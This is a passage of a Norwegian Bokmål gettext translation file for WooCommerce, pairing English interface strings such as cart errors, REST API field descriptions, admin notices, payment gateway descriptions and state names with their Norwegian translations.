#. translators: %s: WooCommerce.com Subscriptions tab count HTML.
#: includes/admin/helper/views/html-section-nav.php:25
msgid "My Subscriptions %s"
msgstr "Mine abonnementer %s"
#: i18n/states.php:1963
msgid "Chernivtsi Oblast"
msgstr "Chernivtsi Oblast"
#. translators: 1: opening analytics docs link tag. 2: closing link tag
#: src/Internal/Admin/Notes/UnsecuredReportFiles.php:39
msgid "Files that may contain %1$sstore analytics%2$s reports were found in your uploads directory - we recommend assessing and deleting any such files."
msgstr "Filer som kan inneholde %1$sbutikkanalyse%2$s rapporter ble funnet i opplastingsmappen din - vi anbefaler å vurdere og slette slike filer."
#: src/Internal/Admin/Notes/UnsecuredReportFiles.php:35
msgid "Potentially unsecured files were found in your uploads directory"
msgstr "Det ble funnet potensielt usikrede filer i opplastingsmappen"
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:773
msgid "Update the table directly upon product changes, instead of scheduling a deferred update."
msgstr "Oppdater tabellen direkte ved produktendringer, i stedet for å planlegge en utsatt oppdatering."
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:772
msgid "Direct updates"
msgstr "Direkte oppdateringer"
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:763
msgid "Use the product attributes lookup table for catalog filtering."
msgstr "Bruk oppslagstabellen for produktattributter for katalogfiltrering."
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:762
msgid "Enable table usage"
msgstr "Slå på bruk av tabell"
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:747
msgid "These settings are not available while the lookup table regeneration is in progress."
msgstr "Disse innstillingene er ikke tilgjengelige mens regenerering av oppslagstabellen pågår."
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:740
msgid "Product attributes lookup table"
msgstr "Oppslagstabell for produkt-attributter"
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:311
msgid "Select a product to regenerate the data for, or leave empty for a full table regeneration:"
msgstr "Velg et produkt du vil regenerere dataene for, eller la det stå tomt for en full tabellregenerering:"
#: src/StoreApi/Routes/V1/CartExtensions.php:59
msgid "Additional data to pass to the extension"
msgstr "Ytterligere data som skal sendes til utvidelsen"
#: src/StoreApi/Routes/V1/CartExtensions.php:55
msgid "Extension's name - this will be used to ensure the data in the request is routed appropriately."
msgstr "Utvidelsens navn - dette vil bli brukt for å sikre at dataene i forespørselen blir sendt på riktig måte."
#: src/Internal/Features/FeaturesController.php:314
msgid "Enable WooCommerce Analytics"
msgstr "Slå på WooCommerce Analytics"
#: src/Admin/API/Reports/Orders/Controller.php:464
msgid "N. Revenue (formatted)"
msgstr "N. Inntekt (formatert)"
#: src/Admin/API/Reports/Orders/Controller.php:185
msgid "Net total revenue (formatted)."
msgstr "Netto totalinntekt (formatert)."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:148
msgid "When true, refunded items are restocked."
msgstr "Hvis sant, legges de refunderte produktene på lager igjen."
#: includes/class-wc-privacy-erasers.php:66
#: includes/class-wc-privacy-exporters.php:205
#: includes/class-wc-privacy-exporters.php:261
msgid "Shipping Phone Number"
msgstr "Frakt telefonnummer"
#: includes/class-wc-privacy-erasers.php:55
#: includes/class-wc-privacy-exporters.php:194
msgid "Billing Phone Number"
msgstr "Faktureringstelefonnummer"
#: includes/class-wc-install.php:1053
msgctxt "Page title"
msgid "Refund and Returns Policy"
msgstr "Salgsbetingelser"
#: includes/class-wc-install.php:1052
msgctxt "Page slug"
msgid "refund_returns"
msgstr "refund_returns"
#. translators: 1: last access date 2: last access time 3: last access timezone
#. abbreviation
#: includes/admin/views/html-admin-page-status-logs.php:35
msgid "%1$s at %2$s %3$s"
msgstr "%1$s kl %2$s %3$s"
#: includes/admin/notes/class-wc-notes-refund-returns.php:72
msgid "Edit page"
msgstr "Rediger side"
#: includes/admin/notes/class-wc-notes-refund-returns.php:65
msgid "We have created a sample draft Refund and Returns Policy page for you. Please have a look and update it to fit your store."
msgstr "Vi har laget et eksempelutkast til salgsbetingelser. Ta en titt og oppdater den slik at den passer til butikken."
#: includes/admin/notes/class-wc-notes-refund-returns.php:64
msgid "Setup a Refund and Returns Policy page to boost your store's credibility."
msgstr "Sett opp en side med salgsbetingelser for å øke butikkens troverdighet."
#: src/Admin/API/Products.php:76
msgid "Limit result set to products that are low or out of stock. (Deprecated)"
msgstr "Avgrens resultat til produkter med lav lagerverdi eller som er utsolgt. (Utfaset)"
#. translators: %1$s contains the filepath of the digital asset.
#: includes/class-wc-download-handler.php:485
msgid "%1$s could not be served using the Force Download method. A redirect will be used instead."
msgstr "%1$s kunne ikke serveres ved hjelp av Force Download-metoden. En omdirigering vil bli brukt i stedet."
#. translators: %1$s contains the filepath of the digital asset.
#: includes/class-wc-download-handler.php:382
msgid "%1$s could not be served using the X-Accel-Redirect/X-Sendfile method. A Force Download will be used instead."
msgstr "%1$s kunne ikke vises ved hjelp av metoden X-Accel-Redirect / X-Sendfile. En Force Download vil bli brukt i stedet."
#. translators: %1$s is a link to the WooCommerce documentation.
#: includes/admin/settings/class-wc-settings-products.php:409
msgid "If the \"Force Downloads\" or \"X-Accel-Redirect/X-Sendfile\" download method is selected but does not work, the system will use the \"Redirect\" method as a last resort. <a href=\"%1$s\">See this guide</a> for more details."
msgstr "Hvis nedlastingsmetoden \"Force Downloads\" eller \"X-Accel-Redirect / X-Sendfile\" er valgt, men ikke fungerer, vil systemet bruke \"Redirect\" -metoden som en siste utvei. <a href=\"%1$s\">Se denne veiledningen</a> for mer informasjon."
#: includes/admin/settings/class-wc-settings-products.php:403
msgid "Allow using redirect mode (insecure) as a last resort"
msgstr "Tillat bruk av viderekoblingsmodus (usikker) som en siste utvei"
#: src/Admin/Features/OnboardingTasks/Tasks/Shipping.php:57
msgid "Set your store location and where you'll ship to."
msgstr "Angi butikkplassering og hvor du sender til."
#: src/Admin/Features/OnboardingTasks/Tasks/AdditionalPayments.php:54
#: src/Admin/Features/OnboardingTasks/Tasks/Payments.php:51
msgid "Choose payment providers and enable payment methods at checkout."
msgstr "Velg betalingsleverandører og slå på betalingsmåter i kassen."
#: src/Admin/Features/OnboardingTasks/Tasks/WooCommercePayments.php:67
msgid "You're only one step away from getting paid. Verify your business details to start managing transactions with WooPayments."
msgstr "Du er bare ett skritt unna å få betalt. Bekreft bedriftsopplysningene dine for å begynne å administrere transaksjoner med WooPayments."
#: src/Admin/Features/OnboardingTasks/Tasks/Products.php:62
msgid "Start by adding the first product to your store. You can add your products manually, via CSV, or import them from another service."
msgstr "Start med å legge til det første produktet i butikken din. Du kan legge til produktene dine manuelt, via CSV, eller importere dem fra en annen tjeneste."
#: src/Admin/Features/OnboardingTasks/Tasks/StoreDetails.php:42
msgid "Your store address is required to set the origin country for shipping, currencies, and payment options."
msgstr "Din butikkadresse kreves for å angi opprinnelsesland for frakt, valuta og betalingsalternativer."
#: src/Admin/Features/OnboardingTasks/Tasks/Tax.php:84
msgid "Set your store location and configure tax rate settings."
msgstr "Angi butikkplasseringen din og konfigurer avgiftssatsinnstillingene."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:48
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:69
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:80
msgid "Grow your store"
msgstr "Få butikken din til å vokse"
#: src/StoreApi/Schemas/V1/CartSchema.php:291
#: src/StoreApi/Schemas/V1/OrderSchema.php:230
msgid "The rate at which tax is applied."
msgstr "Satsen som brukes for avgiften."
#: src/Admin/Notes/Notes.php:477
msgid "Notes are unavailable because the \"admin-note\" data store cannot be loaded."
msgstr "Notater er utilgjengelige fordi datalageret \"admin-note\" ikke kan lastes inn."
#: src/Internal/Admin/Notes/MarketingJetpack.php:116
msgid "Get backups"
msgstr "Få sikkerhetskopier"
#: src/Internal/Admin/Notes/MarketingJetpack.php:105
msgid "Store downtime means lost sales. One-click restores get you back online quickly if something goes wrong."
msgstr "Nedetid i butikken betyr tapt salg. Gjenoppretting med ett trykk får deg raskt tilbake på nettet hvis noe går galt."
#: src/Internal/Admin/Notes/MarketingJetpack.php:104
msgid "Protect your WooCommerce Store with Jetpack Backup."
msgstr "Beskytt WooCommerce butikken din med Jetpack Backup."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:309
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3344
msgid "Mollie"
msgstr "Mollie"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:349
msgid "The Payfast extension for WooCommerce enables you to accept payments by Credit Card and EFT via one of South Africa’s most popular payment gateways. No setup fees or monthly subscription costs. Selecting this extension will configure your store to use South African rands as the selected currency."
msgstr "PayFast-utvidelsen for WooCommerce lar deg akseptere betalinger med kredittkort og EFT via en av Sør-Afrikas mest populære betalingsløsninger. Ingen installasjonsgebyrer eller månedlige abonnementskostnader. Hvis du velger denne utvidelsen, konfigureres butikken til å bruke sørafrikanske rand som valgt valuta."
#: src/Admin/API/Reports/Variations/Stats/Controller.php:130
msgid "Number of variation items sold."
msgstr "Antall varianter solgt."
#: src/Admin/API/Reports/Variations/Stats/Controller.php:129
msgid "Variations Sold"
msgstr "Varianter solgt"
#: src/Admin/API/Reports/Products/Stats/Controller.php:126
msgid "Number of product items sold."
msgstr "Antall produkter solgt."
#: src/Admin/API/Reports/Products/Stats/Controller.php:125
msgid "Products sold"
msgstr "Produkter solgt"
#: src/Admin/API/Notes.php:693
msgid "Source of note."
msgstr "Kilde til notatet."
#: packages/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:117
msgid "Data store:"
msgstr "Datalager:"
#: packages/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:110
msgid "This section shows details of Action Scheduler."
msgstr "Denne delen viser detaljer om handlingsplanleggeren."
#: includes/widgets/class-wc-widget-top-rated-products.php:24
msgid "Products by Rating list"
msgstr "Liste over produkter sortert på vurdering"
#: includes/widgets/class-wc-widget-recently-viewed.php:25
msgid "Recently Viewed Products list"
msgstr "Liste med nylige viste produkter"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:150
#: src/Internal/Admin/Orders/ListTable.php:334
msgid "Change status to cancelled"
msgstr "Endre status til kansellert"
#. translators: %d: Download number
#. translators: %s: download number
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:690
#: includes/export/class-wc-product-csv-exporter.php:671
msgid "Download %d ID"
msgstr "Last ned %d ID"
#: src/Admin/Features/OnboardingTasks/TaskLists.php:145
#: assets/client/admin/app/index.js:2 assets/client/admin/embed/index.js:2
msgid "Things to do next"
msgstr "Ting du kan gjøre videre"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:787
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:829
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:864
msgid "Manage transactions without leaving your WordPress Dashboard. Only with WooPayments."
msgstr "Administrer transaksjoner uten å forlate dashbordet i WordPress. Bare med WooPayments."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:144
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:186
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:396
msgid "Create and send purchase follow-up emails, newsletters, and promotional campaigns straight from your dashboard."
msgstr "Opprett og send e-postoppfølginger for kjøp, nyhetsbrev og kampanjer direkte fra kontrollpanelet."
#: src/StoreApi/Routes/V1/Batch.php:121
msgid "Invalid path provided."
msgstr "Ugyldig sti angitt."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:509
msgid "How easy was it to add a product tag?"
msgstr "Hvor enkelt var det å legge til et produktstikkord?"
#: includes/class-wc-post-types.php:351
msgid "A link to a product."
msgstr "En lenke til et produkt."
#: includes/class-wc-post-types.php:350
msgid "Product Link"
msgstr "Produkt lenke"
#: includes/class-wc-post-types.php:158
msgid "A link to a product tag."
msgstr "En lenke til en produkttagg."
#: includes/class-wc-post-types.php:157
msgid "Product Tag Link"
msgstr "Produkttagg lenke"
#: includes/class-wc-post-types.php:112
msgid "A link to a product category."
msgstr "En lenke til en produktkategori."
#: includes/class-wc-post-types.php:111
msgid "Product Category Link"
msgstr "Produktkategori lenke"
#. translators: %1$s: Link to WP Mail Logging plugin, %2$s: Link to Email FAQ
#. support page.
#: includes/admin/settings/class-wc-settings-emails.php:78
#: includes/admin/settings/class-wc-settings-emails.php:527
msgid "To ensure your store’s notifications arrive in your and your customers’ inboxes, we recommend connecting your email address to your domain and setting up a dedicated SMTP server. If something doesn’t seem to be sending correctly, install the <a href=\"%1$s\">WP Mail Logging Plugin</a> or check the <a href=\"%2$s\">Email FAQ page</a>."
msgstr "For å sikre at butikkens varsler kommer inn i innboksene til kundene, anbefaler vi at du kobler e-postadressen til domenet, samt konfigurerer en dedikert SMTP-server. Hvis noe ser ut til å ikke sende riktig kan utvidelsen <a href=\"%1$s\">WP Mail Logging</a> installers, eller du kan også sjekke siden <a href=\"%2$s\">Ofte stilte spørsmål om e-post</a>."
#: i18n/states.php:2207
msgid "Delta Amacuro"
msgstr "Delta Amacuro"
#: i18n/states.php:2205
msgid "Federal Dependencies"
msgstr "Federal Dependencies"
#: i18n/states.php:2204
msgid "Zulia"
msgstr "Zulia"
#: i18n/states.php:2203
msgid "Yaracuy"
msgstr "Yaracuy"
#: i18n/states.php:2202
msgid "Trujillo"
msgstr "Trujillo"
#: i18n/states.php:2201
msgid "Táchira"
msgstr "Táchira"
#: i18n/states.php:370 i18n/states.php:2200
msgid "Sucre"
msgstr "Sucre"
#: i18n/states.php:2199
msgid "Portuguesa"
msgstr "Portuguesa"
#: i18n/states.php:2198
msgid "Nueva Esparta"
msgstr "Nueva Esparta"
#: i18n/states.php:2197
msgid "Monagas"
msgstr "Monagas"
#: i18n/states.php:2196
msgid "Miranda"
msgstr "Miranda"
#: i18n/states.php:2195
msgid "Mérida"
msgstr "Mérida"
#: i18n/states.php:2194
msgid "Lara"
msgstr "Lara"
#: i18n/states.php:2193
msgid "Guárico"
msgstr "Guárico"
#: i18n/states.php:2192
msgid "Falcón"
msgstr "Falcón"
#: i18n/states.php:2191
msgid "Cojedes"
msgstr "Cojedes"
#: i18n/states.php:2190
msgid "Carabobo"
msgstr "Carabobo"
#: i18n/states.php:346 i18n/states.php:502 i18n/states.php:2189
msgid "Bolívar"
msgstr "Bolívar"
#: i18n/states.php:2188
msgid "Barinas"
msgstr "Barinas"
#: i18n/states.php:2187
msgid "Aragua"
msgstr "Aragua"
#: i18n/states.php:2186
msgid "Apure"
msgstr "Apure"
#: i18n/states.php:2185
msgid "Anzoátegui"
msgstr "Anzoátegui"
#: i18n/states.php:2184
msgid "Capital"
msgstr "Capital"
#. translators: %d: How many products have been processed so far.
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:322
msgid "Filling in progress (%d)"
msgstr "Utfylling pågår (%d)"
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:308
msgid "Product attributes lookup table data is regenerating"
msgstr "Oppslagstabelldata for produktattributter genereres på nytt"
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:304
msgid "This tool will regenerate the product attributes lookup table data from existing product(s) data. This process may take a while."
msgstr "Dette verktøyet genererer oppslagstabelldata for produktattributter på nytt fra eksisterende produktdata. Denne prosessen kan ta litt tid."
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:303
msgid "Regenerate the product attributes lookup table"
msgstr "Generer oppslagstabellen for produktattributter på nytt"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:384
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3545
msgid "Paystack helps African merchants accept one-time and recurring payments online with a modern, safe, and secure payment gateway."
msgstr "Paystack hjelper afrikanske selgere med å godta engangsbetalinger og gjentakende betalinger på nettet med en moderne, trygg og sikker betalingsløsning."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:383
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3544
msgid "Paystack"
msgstr "Paystack"
#. translators: the title of the payment gateway
#: src/Admin/Features/PaymentGatewaySuggestions/PaymentGatewaysController.php:133
msgid "%s connected successfully"
msgstr "%s vellykket tilkoblet"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:185
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:395
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "MailPoet"
msgstr "MailPoet"
#: src/Internal/Admin/CustomerEffortScoreTracks.php:606
msgid "How easy was it to add a product attribute?"
msgstr "Hvor enkelt var det å legge til et produkt-attributt?"
#: src/Internal/Admin/CustomerEffortScoreTracks.php:491
msgid "How easy was it to add product category?"
msgstr "Hvor enkelt var det å legge til en produktkategori?"
#: src/Internal/Admin/CustomerEffortScoreTracks.php:280
#: assets/client/admin/customer-effort-score/index.js:1
msgid "How easy was it to use search?"
msgstr "Hvor enkelt var det å bruke søk?"
#: templates/emails/block/customer-pos-completed-order.php:25
#: templates/emails/block/customer-pos-refunded-order.php:34
#: templates/emails/customer-pos-completed-order.php:41
#: templates/emails/customer-pos-refunded-order.php:39
#: templates/emails/plain/customer-pos-completed-order.php:33
#: templates/emails/plain/customer-pos-refunded-order.php:33
msgid "Hi there,"
msgstr "Heisann,"
#. translators: %s Field label.
#: src/Blocks/Domain/Services/CheckoutFields.php:204
#: assets/client/blocks/all-products.js:7 assets/client/blocks/cart.js:2
#: assets/client/blocks/checkout.js:2
#: assets/client/blocks/mini-cart-contents.js:2
#: assets/client/blocks/product-button-frontend.js:2
#: assets/client/blocks/product-button.js:3
#: assets/client/blocks/wc-blocks-data.js:4
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:23
msgid "%s (optional)"
msgstr "%s (valgfri)"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:398
msgid "Enable PayU’s exclusive plugin for WooCommerce to start accepting payments in 100+ payment methods available in India including credit cards, debit cards, UPI, & more!"
msgstr "Aktiver PayUs eksklusive utvidelse for WooCommerce og begynn å ta imot betalinger i 100 + betalingsmåter tilgjengelig i India, inkludert kredittkort, debetkort, UPI og mer!"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:397
msgid "PayU for WooCommerce"
msgstr "PayU for WooCommerce"
#: src/Admin/Features/OnboardingTasks/TaskLists.php:131
msgid "Get ready to start selling"
msgstr "Gjør deg klar til å begynne å selge"
#: src/Blocks/BlockTypes/AbstractBlock.php:134
msgid "Block name is required."
msgstr "Blokknavn er påkrevd."
#. translators: 1: The first n-1 items of a list 2: the last item in the list.
#: src/StoreApi/Utilities/ArrayUtils.php:29
msgid "%1$s and %2$s"
msgstr "%1$s og %2$s"
#. translators: %s: Integration name.
#: src/Blocks/Integrations/IntegrationRegistry.php:100
msgid "Integration \"%s\" is not registered."
msgstr "Integrering \"%s\" er ikke registrert."
#. translators: %s: Integration name.
#: src/Blocks/Integrations/IntegrationRegistry.php:69
msgid "\"%s\" is already registered."
msgstr "\"%s\" er allerede registrert."
#: src/Blocks/Integrations/IntegrationRegistry.php:35
msgid "Integration registry requires an identifier."
msgstr "Integreringsregisteret krever en identifikator."
#: src/StoreApi/Utilities/CartController.php:469
msgid "There was an error with an item in your cart."
msgstr "Det oppstod en feil med et produkt i handlekurven din."
#. translators: %s: product names.
#: src/StoreApi/Utilities/CartController.php:455
msgid "There are not enough %s in stock. Please reduce the quantities in your cart."
msgstr "Det er ikke nok %s på lager. Du må reduser antallet i handlekurven din."
#. translators: %s: product names.
#: src/StoreApi/Utilities/CartController.php:450
msgid "There is not enough %s in stock. Please reduce the quantity in your cart."
msgstr "Det er ikke nok %s på lager. Du må reduser antallet i handlekurven din."
#. translators: %s: product names.
#: src/StoreApi/Utilities/CartController.php:443
msgid "There are too many %s in the cart. Only 1 of each can be purchased. Please reduce the quantities in your cart."
msgstr "Det er for mange %s i handlekurven, bare 1 av hver kan kjøpes. Du må reduser antallet i handlekurven din."
#. translators: %s: product names.
#: src/StoreApi/Utilities/CartController.php:438
msgid "There are too many %s in the cart. Only 1 can be purchased. Please reduce the quantity in your cart."
msgstr "Det er for mange %s i kurven, bare 1 kan kjøpes. Du må reduser antallet i handlekurven din."
#. translators: %s: product names.
#: src/StoreApi/Utilities/CartController.php:431
msgid "%s cannot be purchased. Please remove them from your cart."
msgstr "%s kan ikke kjøpes. Du må fjerne dem fra handlekurven din."
#. translators: %s: product name.
#: src/StoreApi/Utilities/CartController.php:426
msgid "%s cannot be purchased. Please remove it from your cart."
msgstr "%s kan ikke kjøpes. Du må fjerne det fra handlekurven din."
#. translators: %s: product names.
#: src/StoreApi/Utilities/CartController.php:419
msgid "%s are out of stock and cannot be purchased. Please remove them from your cart."
msgstr "«%s» er utsolgt og kan ikke kjøpes. Du må fjerne disse produktene fra handlekurven din."
#. translators: %s: product name.
#: src/StoreApi/Utilities/CartController.php:414
msgid "%s is out of stock and cannot be purchased. Please remove it from your cart."
msgstr "«%s» er utsolgt og kan ikke kjøpes. Du må fjerne produktet fra handlekurven din."
#: includes/class-wc-tax.php:847
msgid "Tax class slug is invalid"
msgstr "Avgiftsklassens identifikator er ugyldig"
#: includes/rest-api/Controllers/Version3/class-wc-rest-taxes-controller.php:98
msgid "City name, it doesn't support multiple values. Deprecated as of WooCommerce 5.3, 'cities' should be used instead."
msgstr "Bynavn, som ikke støtter flere verdier. Foreldet fra og med WooCommerce 5.3, \"byer\" bør brukes i stedet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-taxes-controller.php:95
msgid "Postcode/ZIP, it doesn't support multiple values. Deprecated as of WooCommerce 5.3, 'postcodes' should be used instead."
msgstr "Postnummer / ZIP, som ikke støtter flere verdier. Foreldet fra og med WooCommerce 5.3, 'postnumre' bør brukes i stedet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-taxes-controller.php:86
msgid "List of city names. Introduced in WooCommerce 5.3."
msgstr "Liste over bynavn. Introdusert i WooCommerce 5.3."
#: includes/rest-api/Controllers/Version3/class-wc-rest-taxes-controller.php:77
msgid "List of postcodes / ZIPs. Introduced in WooCommerce 5.3."
msgstr "Liste over postnumre / ZIPs. Introdusert i WooCommerce 5.3."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:141
msgid "Amount that will be refunded for this tax."
msgstr "Beløp som vil bli refundert for denne avgiften."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:134
msgid "Amount that will be refunded for this line item (excluding taxes)."
msgstr "Beløp som vil bli refundert for denne produktlinjen (unntatt avgifter)."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:730
msgid "Low Stock amount for the variation."
msgstr "Lite på lager terskel for varianten."
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:766
msgid "Limit result set to resources assigned to a specific parent. Applies to hierarchical taxonomies only."
msgstr "Avgrens resultat til ressurser som er tildelt en bestemt forelder. Gjelder bare hierarkiske taksonomier."
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:727
msgid "Offset the result set by a specific number of items. Applies to hierarchical taxonomies only."
msgstr "Forskyv resultatet med et bestemt antall produkter. Gjelder bare hierarkiske taksonomier."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1430
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1436
msgid "Low Stock amount for the product."
msgstr "Lite på lager terskel for produktet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:64
msgid "Coupon item ID is readonly."
msgstr "Rabattkodens element-id er kun lesing."
#: includes/admin/class-wc-admin-settings.php:709
msgid "Search for a page…"
msgstr "Søk etter en side…"
#. translators: 1: tax class name 2: error message
#: includes/admin/settings/class-wc-settings-tax.php:171
msgid "Additional tax class \"%1$s\" couldn't be saved. %2$s."
msgstr "Ekstra avgiftsklasse «%1$s» kunne ikke lagres. %2$s."
#: includes/admin/views/html-admin-dashboard-setup.php:24
msgid "Start selling"
msgstr "Start å selge"
#: includes/admin/views/html-admin-dashboard-setup.php:23
msgid "You're almost there! Once you complete store setup you can start receiving orders."
msgstr "Du er nesten der! Når du har fullført butikkoppsettet, kan du begynne å motta ordrer."
#: includes/admin/views/html-admin-dashboard-setup.php:18
#: assets/client/admin/app/index.js:2
msgid "of"
msgstr "av"
#: includes/admin/views/html-admin-dashboard-setup.php:18
#: assets/client/blocks/checkout-frontend.js:2
#: assets/client/blocks/checkout.js:15
msgid "Step"
msgstr "Steg"
#: includes/admin/class-wc-admin-dashboard-setup.php:54
msgid "WooCommerce Setup"
msgstr "WooCommerce oppsett"
#: includes/admin/meta-boxes/views/html-variation-admin.php:293
msgid "When variation stock reaches this amount you will be notified by email. The default value for all variations can be set in the product Inventory tab. The shop default value can be set in Settings > Products > Inventory."
msgstr "Når variantlager når dette antallet vil du bli varslet via e-post. Standardverdien for alle varianter kan angis i \"Lager\"-fanen for hvert produkt. Standardverdien for butikken kan angis i \"Innstillinger > Produkter > Lager\"."
#. translators: %d: Amount of stock left
#: includes/admin/meta-boxes/views/html-variation-admin.php:276
msgid "Parent product's threshold (%d)"
msgstr "Terskel for forelderproduktet (%d)"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:117
msgid "When product stock reaches this amount you will be notified by email. It is possible to define different values for each variation individually. The shop default value can be set in Settings > Products > Inventory."
msgstr "Når produktlager når dette antallet vil du bli varslet via e-post. Det er mulig å definere forskjellige verdier for hver variant individuelt. Standardverdien for butikken kan angis i Innstillinger > Produkter > Lager."
#. translators: %d: Amount of stock left
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:112
#: includes/admin/meta-boxes/views/html-variation-admin.php:281
msgid "Store-wide threshold (%d)"
msgstr "Terskel for hele butikken (%d)"
#. translators: 1: product link, 2: product name
#: includes/class-wc-cart.php:1188
msgid "The selected product isn't a variation of %2$s, please choose product options by visiting <a href=\"%1$s\" title=\"%2$s\">%2$s</a>."
msgstr "Det valgte produktet er ikke en variant av %2$s, velg produktalternativer ved å gå <a href=\"%1$s\" title=\"%2$s\">til %2$s</a>."
#. translators: 1: page name 2: page ID
#: includes/admin/class-wc-admin-settings.php:692
#: includes/class-wc-ajax.php:2084
#: assets/client/admin/settings-editor/index.js:2
msgid "%1$s (ID: %2$s)"
msgstr "%1$s (ID: %2$s)"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:310
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3345
msgid "Effortless payments by Mollie: Offer global and local payment methods, get onboarded in minutes, and supported in your language."
msgstr "Lettvinte betalinger med Mollie: Tilbyr globale og lokale betalingsmåter, settes opp på få minutter og støttes på ditt språk."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:415
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3443
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3477
#: assets/client/admin/chunks/wcpay-payment-welcome-page.js:1
msgid "PayPal Payments"
msgstr "PayPal-betalinger"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:79
msgid "Add manually"
msgstr "Legg til manuelt"
#: src/StoreApi/Schemas/V1/ItemSchema.php:191
msgid "Optionally, how the metadata value should be displayed to the user."
msgstr "Valgfritt, hvordan metadataverdien skal vises for brukeren."
#: src/StoreApi/Schemas/V1/ItemSchema.php:185
msgid "Value of the metadata."
msgstr "Verdien av metadataen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:179
msgid "Name of the metadata."
msgstr "Navnet på metadataene."
#: src/StoreApi/Schemas/V1/ItemSchema.php:171
msgid "Metadata related to the item"
msgstr "Metadata knyttet til elementet"
#: src/StoreApi/Schemas/V1/CartSchema.php:319
#: src/StoreApi/Schemas/V1/OrderSchema.php:288
msgid "List of required payment gateway features to process the order."
msgstr "Liste over påkrevd funksjonalitet i betalingsløsninger for å behandle ordren."
#: src/StoreApi/Schemas/V1/CartSchema.php:193
msgid "List of cart fees."
msgstr "Liste med handlekurvsgebyrer."
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:231
msgid "The provided postcode / ZIP is not valid"
msgstr "Oppgitt postnummer er ikke gyldig"
#. translators: %1$s given state, %2$s valid states
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:221
msgid "The provided state (%1$s) is not valid. Must be one of: %2$s"
msgstr "Den angitte delstaten (%1$s) er ikke gyldig. Må være en av: %2$s"
#. translators: %s valid country codes
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:209
msgid "Invalid country code provided. Must be one of: %s"
msgstr "Ugyldig landskode oppgitt. Må være en av: %s"
#: src/StoreApi/Schemas/V1/CartFeeSchema.php:56
#: src/StoreApi/Schemas/V1/OrderFeeSchema.php:56
msgid "Total tax amount for this fee."
msgstr "Totalt avgiftsbeløp for dette gebyret."
#: src/StoreApi/Schemas/V1/CartFeeSchema.php:50
#: src/StoreApi/Schemas/V1/OrderFeeSchema.php:50
msgid "Total amount for this fee."
msgstr "Totalt beløp for dette gebyret."
#: src/StoreApi/Schemas/V1/CartFeeSchema.php:42
#: src/StoreApi/Schemas/V1/OrderFeeSchema.php:42
msgid "Fee total amounts provided using the smallest unit of the currency."
msgstr "Total beregnet ved hjelp av den minste enheten i valutaen."
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:242
msgid "The provided phone number is not valid"
msgstr "Det oppgitte telefonnummeret er ikke gyldig"
#: src/StoreApi/Schemas/V1/BillingAddressSchema.php:79
msgid "The provided email address is not valid"
msgstr "Den oppgitte e-postadressen er ikke gyldig"
#. translators: %s: is the field label
#. translators: %s Field label.
